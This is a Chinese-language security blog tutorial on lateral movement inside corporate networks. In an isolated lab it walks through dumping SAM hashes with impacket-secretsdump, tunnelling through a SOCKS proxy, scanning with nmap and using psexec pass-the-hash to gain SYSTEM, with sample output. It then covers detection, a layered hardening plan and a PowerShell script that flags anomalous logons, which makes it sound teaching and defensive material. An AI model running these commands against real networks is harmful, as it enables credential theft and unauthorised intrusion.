返回首页

内网横向移动-一台打印机,成了攻破全公司的跳板

2026-08-17 19:12 · 网络安全
 
CYLOG  ·  SECURITY  LAB

内网横向移动

第17篇 · 一台打印机,成了攻破全公司的跳板

 

[ROOT@CYLOG ~]# 网络安全教学日志

封面:深夜机房安全研究员
⚠️ 合规与法律声明
本文所有操作均在完全隔离的虚拟化实验环境中完成,仅用于授权安全测试、防御技术研究与学习交流。根据《中华人民共和国刑法》第285条、《网络安全法》第27条规定,未获得书面正式授权,严禁对任何企业、个人的网络系统实施渗透、扫描、凭据窃取、横向移动等行为,违者将承担刑事责任。企业开展内部测试或第三方渗透测试,必须签订正式授权文件,明确测试IP范围、时间窗口与操作边界,严禁超范围测试。
开篇 · 一台打印机

客户请我们做授权的内网渗透测试。合同签完,甲方安全负责人把网络拓扑图递过来,说:我们的核心数据在内网,你们试试能不能摸到。

三天后,我们坐在核心数据库服务器前面,屏幕上跳着生产库的备份任务。而我们的入口,是行政楼三层那台共享打印机。

横向移动,是什么

横向移动(Lateral Movement,MITRE ATT&CK TA0008)是内网渗透的第二步——你已经拿下一台机器,接下来用它当跳板,一台接一台,摸向真正的目标。

大多数公司的问题不是边界防护差,是边界破了之后,内网一马平川。外网打进来只算进门,从打印机渗透到核心数据库,才是内网安全真正的风险暴露。

一、为什么能横向:两大基础

要理解横向移动,先理解内网为什么「一马平川」:

1. 凭据复用:同一套账号密码在内网大量复用。本地管理员密码相同、域账号共用、运维账号与办公账号混用——拿到一个,等于拿到一批。

2. 内网扁平化:缺乏网络分段,办公区与服务器区同网段,445/3389 等管理端口跨网段直连无限制——从任何一台机器都能摸到任何一台机器。

横向移动的本质可以拆成三块:凭据复用(凭什么)+网络可达(怎么走)+远程执行(怎么落)
二、实验环境(全虚拟化,隔离网段)
🖥️ 环境准备
攻击机:Kali Linux 2026.x(自带 impacket 套件)
跳板机:Windows 10 虚拟机(模拟已失陷的行政楼电脑)
目标机:Windows Server 2019 虚拟机(模拟文件服务器)
网络:VMware 自定义 VMnet,三台机器同一隔离网段 192.168.200.0/24
关键前提:先通过钓鱼/漏洞拿下一台机器(本文从跳板机已失陷开始)
实验环境拓扑
三、实操复现:完整横向移动链路
横向移动全链路 · LATERAL MOVEMENT CHAIN 失陷主机 COMPROMISED 窃取凭据 CREDENTIALS 代理隧道 SOCKS PROXY 内网扫描 SCANNING 横向 移动 凭据复用 → 代理隐藏 → 探测入口 → 哈希传递 · 以点带面
⚠️ 以下操作仅可在已获得书面正式授权的隔离测试环境中执行,禁止对任何非授权网络实施探测、攻击与凭据窃取行为。
1. 第一步:导出跳板机本地凭据

失陷机器上最常见的密码来源,就是本机存储的凭据:

$ bash
# 执行命令:导出跳板机本地 SAM 哈希与缓存凭据
impacket-secretsdump win10/administrator:'Passw0rd!'@192.168.200.20
# 输出示例:
# [*] Target system bootKey: 0x9d3a...
# [*] Dumping local SAM hashes and cached domain credentials
# administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# 可以看到:本机管理员哈希 + 缓存的域凭据

拿到哈希后不要急着破解。先用哈希传递(Pass-the-Hash,简称 PtH)试试能不能直接登录别的机器。

📌 场景说明:本例模拟的是内网最常见的「密码复用」场景——跳板机与目标机使用了完全相同的本地管理员账号和密码,因此哈希可直接通用。
2. 第二步:搭建 SOCKS 代理隧道(跳板机的核心价值)

在失陷跳板机上搭建 SOCKS 代理,把攻击流量通过跳板机转发进内网。常用工具:impacket-socksServer(基于 SMB 会话)、frp、reGeorg 等。

$ bash
# 执行命令:基于跳板机本地管理员哈希,建立 SOCKS5 代理隧道
impacket-socksServer -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.200.20
# 攻击机配置 proxychains,让后续工具流量走跳板机:
cat /etc/proxychains4.conf
socks5 127.0.0.1 1080   # 转发到跳板机代理端口

impacket-socksServer 默认在攻击机本地监听 1080 端口提供 SOCKS5 代理服务,流量通过 SMB 命名管道转发至跳板机,无需在跳板机落地任何文件,属于无文件代理隧道——这正是后续 proxychains 配置 127.0.0.1:1080 的原因。这一步不可省略:代理有两个作用——隐藏攻击机真实 IP,规避边界流量检测;同时让扫描、利用工具以跳板机为起点进入内网。横向移动「以点带面」的基础逻辑就是它。

3. 第三步:探测内网存活
$ bash
# 执行命令:通过跳板机扫描内网,重点看远程管理端口
proxychains nmap -sT -Pn -p 445,3389,22,5985 192.168.200.0/24
# 输出示例:
# [192.168.200.0/24] Host 192.168.200.30 appears to be up
# 445/tcp  open  microsoft-ds   ← 开了 SMB,值得试
# 3389/tcp open  ms-wbt-server ← 远程桌面也在,横向移动最爱

参数选型依据:-sT 使用 TCP 全连接扫描,适配代理链路特性(proxychains 仅支持转发完整 TCP 连接,无法转发半开扫描的独立 SYN 包,若换成 -sS 结果会全部失效);-Pn 跳过 ICMP 存活探测,避免代理无法转发 ICMP 包导致主机被误判为离线。端口说明:22 对应 SSH 服务,多用于 Linux 设备与开启 OpenSSH 的 Windows 主机;445(SMB)、3389(RDP)、5985(WinRM) 是横向移动的高频入口,优先确认。

4. 第四步:哈希传递,横向拿下目标
$ bash
# 执行命令:用跳板机上翻到的哈希直接试 SMB(密码复用现象普遍的内网,经常一把通)
proxychains impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.200.30
# 输出示例:
# [*] Requesting shares on 192.168.200.30.....
# [*] Opening SVCManager on 192.168.200.30.....
# [!] Creating service on 192.168.200.30.....
# C:\Windows\system32> whoami
# nt authority\system   ← 已拿到目标机系统权限

-hashes 参数标准格式为 LM哈希:NTLM哈希;Windows Vista 及以后系统默认禁用 LM 哈希,因此 LM 部分留空,仅保留冒号+NTLM 哈希。

这里有一个常见误区要纠正:impacket-psexec 并不是「无文件落地」。它的完整执行流程是:通过 SMB 访问目标 ADMIN$ 共享 → 写入服务可执行程序(默认 psexesvc.exe)→ 调用服务控制管理器(SCM)创建并启动服务 → 执行命令后删除服务与文件。严格属于有文件落地的远程执行手法,只是文件停留时间短、服务名可自定义,具备一定检测规避性。

真正接近「无文件落地」的同类手法:impacket-wmiexec(通过 WMI 创建进程,无额外文件落地)、impacket-atexec(仅写入计划任务配置)。

✅ 结果解读:①密码复用是内网最大的漏洞——同一套凭据在内网横行;②psexec 走 ADMIN$+服务创建,有文件落地但具备检测规避性;③全程无需突破边界防火墙——传统边界防火墙默认仅管控南北向出入站流量,对内网网段间的东西向访问普遍缺乏精细化管控。
四、手法拓展:横向移动武器库(MITRE ATT&CK 对照)
攻击手法 核心原理 ATT&CK 编号 检测要点
哈希传递(PtH) 直接使用 NTLM 哈希完成身份认证,无需破解明文 T1550.002 登录源 IP 与账号常驻地不符;大量异常网络登录
票据传递(PtT) 窃取/伪造 Kerberos 票据(TGT/ST)完成认证,域环境高发 T1550.003 异常 Kerberos 服务票请求;票据生命周期异常
SMB 服务创建(PsExec) 远程写入服务程序并启动,获取系统权限 T1021.002 + T1543.003 陌生服务创建事件;System 权限进程伴随 SMB 来源
WMI 远程执行 调用 WMI 接口远程创建进程执行命令 T1047 wmic/Invoke-WmiMethod 异常调用链;WMI 活动日志异常
计划任务执行 创建定时任务执行恶意指令 T1053.005 无管理员操作记录的陌生定时任务
RDP 会话劫持 窃取已建立的 RDP 会话绕过认证 T1563.002 非工作时段 RDP 会话异常;会话所属用户与登录用户不符
五、踩坑指南:STATUS_ACCESS_DENIED 排查

横向移动最高发的报错就是 STATUS_ACCESS_DENIED。除了常见原因,还有一个内网环境里最容易被忽略的:UAC 远程令牌过滤。

① 目标 445 被防火墙挡——检查 Windows 防火墙「文件和打印机共享」规则;

② administrator 以外的本地管理员账号没有远程管理权限——本地管理员组账号不一定默认拥有 SMB 远程管理权限;

③ 哈希选错——从 secretsdump 输出中选取对应用户的哈希值;

⭐ UAC 远程令牌过滤(最容易被忽略):使用非内置 Administrator(RID 500)的本地管理员账号远程 SMB/哈希传递时,即使密码哈希完全正确,也会返回访问拒绝。原因是 Windows 默认开启 UAC 远程令牌过滤(LocalAccountTokenFilterPolicy 默认值 0):本地管理员账号远程访问时,系统自动剥离其管理员权限,仅授予普通用户令牌;只有内置 Administrator(RID 500)默认不受此限制。

📌 关键前提:该过滤规则仅针对本地账号生效,所有域账号(包括域普通账号、域管理员)的远程访问权限均不受此注册表项影响。这也是域环境下横向移动成功率远高于工作组环境的核心原因之一。
$ registry
注册表路径:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
默认值 0 = 开启过滤;设为 1 = 关闭过滤(不推荐)

⑤ 目标账号为空密码:Windows 默认安全策略「空密码本地账号仅允许控制台登录」——目标账号为空密码时,即使凭据正确,远程访问也会被拒绝。

🛡️ 防御视角:企业应保持该默认配置——这是低成本阻断本地管理员横向的高收益措施。
六、防御体系:让内网不再是平的(四层纵深)
四层纵深防御体系
第一层:身份与凭据防护(根源性解决横向基础)

针对:凭据复用、哈希窃取

1. 本地管理员密码治理:部署微软 LAPS,为每台终端/服务器生成独立随机本地管理员密码并自动定期轮换,从机制上解决本地管理员账号的密码复用问题。注:Windows 11 22H2 / Server 2022 及以上版本已内置原生 Windows LAPS,无需额外安装客户端。

2. 域账号权限最小化:严格分级管控域账号,禁止域管理员账号登录普通终端;服务器运维账号与办公账号隔离,单账号仅授权单台/单组服务器。

3. 内存凭据防护:启用 Windows Credential Guard(基于虚拟化安全技术 VBS 保护 LSASS 进程),大幅提升内存凭据窃取难度,可有效防护 mimikatz 等常规用户态内存哈希抓取工具。

4. RDP 凭据防护:启用远程凭据防护(Remote Credential Guard)或受限管理员模式,防止 RDP 登录后凭据留存于目标主机内存。

5. 协议降级治理:兼容业务前提下禁用 NTLMv1,优先使用 Kerberos 认证,降低凭据破解与 NTLM 中继攻击风险。

⚠️ 边界提示:SMB 签名常被误认为能防哈希传递——不能。SMB 签名的核心作用是防御 NTLM 中继攻击(对 SMB 报文做完整性校验,防止认证流量被篡改中转);哈希传递(PtH)是直接使用合法的 NTLM 哈希完成认证,本质是「用正确凭据登录」,SMB 签名无法阻断。补充:Windows 域控制器默认强制开启 SMB 签名,成员服务器与客户端默认仅为协商状态;开启强制 SMB 签名会小幅影响文件共享性能,需结合业务评估落地。防 PtH 靠的是 LAPS、权限最小化、Credential Guard 这套组合。
第二层:网络东西向管控(切断横向移动路径)

针对:内网平坦、端口无限制

1. 网络分段与微隔离:生产区、研发区、财务区与办公区通过防火墙/VLAN 隔离;核心服务器区实施微分段,仅开放业务必需端口与源地址。

2. 高危端口精准管控:默认拒绝跨网段访问 445(SMB)、135(RPC)、3389(RDP)、5985(WinRM) 等远程管理端口,仅对指定运维 IP 白名单放行。

3. 零信任远程访问:服务器远程管理接入零信任网关,所有访问均需身份认证、设备健康校验,不默认信任任何内网 IP。

第三层:端点安全加固(终端侧拦截执行)

针对:远程命令执行、服务创建

1. EDR 专项规则:开启横向移动检测能力,覆盖异常 SMB 连接、远程服务创建、WMI 远程执行、计划任务异常创建、哈希传递行为等场景。

2. 系统基线加固:默认开启 Windows 防火墙,关闭非必要 SMB 共享;保持 UAC 远程令牌过滤默认开启——低成本高收益。

3. 漏洞闭环管理:及时修复 SMB、RPC、RDP 等协议高危漏洞(如永恒之蓝、BlueKeep),封堵漏洞型横向入口。

第四层:日志审计与威胁狩猎(发现潜伏行为)

针对:异常登录、隐蔽操作

1. 全量审计开启:全域开启安全审计策略,覆盖登录成功/失败(4624/4625)、特权登录(4672)、服务创建(4697)、计划任务创建(4698)、WMI 活动等关键事件。

2. 异常登录检测规则:同一账号短时间内跨多个 IP 登录;非工作时段特权账号登录服务器;服务器管理账号出现在普通终端登录日志;办公网段 IP 直接访问核心服务器远程端口。

3. 定期威胁狩猎:基于 MITRE ATT&CK 横向移动战术,定期排查内网 SMB 连接链路、远程执行日志,发现潜伏的攻击行为。

七、落地工具:域控异常登录自查脚本

适用环境:Windows Server 域控制器,需开启安全登录审计;权限:需以域管理员身份执行。

powershell
# 功能:查询近7天内网 IP 登录成功的账号,按登录次数、源IP离散度排序
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} |
  Where-Object {
    # 筛选内网源 IP + 近7天数据 + 排除匿名登录与系统账号
    $_.Properties[18].Value -match '^(192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.)' -and
    $_.TimeCreated -gt (Get-Date).AddDays(-7) -and
    $_.Properties[5].Value -notmatch '^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|ANONYMOUS LOGON)$'
  } |
  Select-Object @{Name='账号';Expression={$_.Properties[5].Value}},
    @{Name='源IP';Expression={$_.Properties[18].Value}} |
  Group-Object 账号 |
  Sort-Object Count -Descending |
  Select-Object -First 15 `
    @{Name='账号';Expression={$_.Name}},
    @{Name='登录总次数';Expression={$_.Count}},
    @{Name='不同源IP数';Expression={($_.Group.源IP | Sort-Object -Unique).Count}}

输出解读:

1. 核心异常指标是「不同源IP数」——一个账号从多个不同 IP 登录,是横向移动的典型信号;账号「登录总次数」偏高且集中在凌晨,同样需要警惕。

2. 扩展用法:a) 若需看登录行为分布,可在 Select 阶段加上「登录类型」(2=交互式,3=网络登录/SMB,10=RDP),按「账号+登录类型」分组;b) 新增事件 ID 4625(登录失败)排查暴力破解;c) 新增 4672(特权登录)排查高权限账号异常使用。

3. 局限性:仅能检测基于日志的显性异常,无法检测无日志的内存级攻击,需配合 EDR 能力。

重点看:有没有账号从多个不同 IP 登录?有没有账号在凌晨登录?有没有服务器账号出现在员工电脑上?三者任一命中,先隔离再排查
八、案例复盘:回到那台打印机
打印机入侵路径复盘

那台打印机为什么能成为入口?真实环境里,打印机、摄像头等办公 IoT 设备是内网安全的典型盲区:普遍缺乏安全管控,却常与核心办公网段同 VLAN,是优质的横向跳板。两类典型真实场景:

1. 设备自身漏洞:打印机 Web 管理界面存在弱口令/未授权访问,攻击者直接读取设备配置,获取打印机用于扫描上传的 SMB 共享账号——该账号常被配置为高权限,且在内网多台服务器复用;

2. 驱动共享凭据泄露:域内通过组策略下发的共享打印机驱动目录中,包含带明文凭据的安装脚本,或驱动服务绑定了高权限域账号,低权限终端即可访问共享目录窃取凭据。

一马平川的内网,等于把门锁配了一把万能钥匙。攻击者不需要多厉害,他只需要你的内网够平。

技术本身无善恶。安全从业者的核心价值,是发现风险、修复风险,而非利用风险。

参考资料
本文提及的所有工具均为开源安全测试工具,工具本身合法合规;使用者需严格遵守《网络安全法》《刑法》相关规定,仅用于授权测试与学术研究。
MITRE ATT&CK 横向移动战术 — attack.mitre.org/tactics/TA0008/
微软《缓解哈希传递与其他凭据窃取技术》 — learn.microsoft.com
impacket 官方文档 — github.com/fortra/impacket
NIST SP 800-207 零信任架构 — nist.gov
微软 Windows LAPS 官方文档 — learn.microsoft.com
Sysinternals PsExec 工作原理文档 — learn.microsoft.com

文章目录
    ×

    如果觉得文章对您有用,请随意打赏。
    您的支持是我们继续创作的动力!

    微信打赏

    微信扫一扫

    支付宝打赏

    支付宝扫一扫

    发表评论

    请先 登录 再评论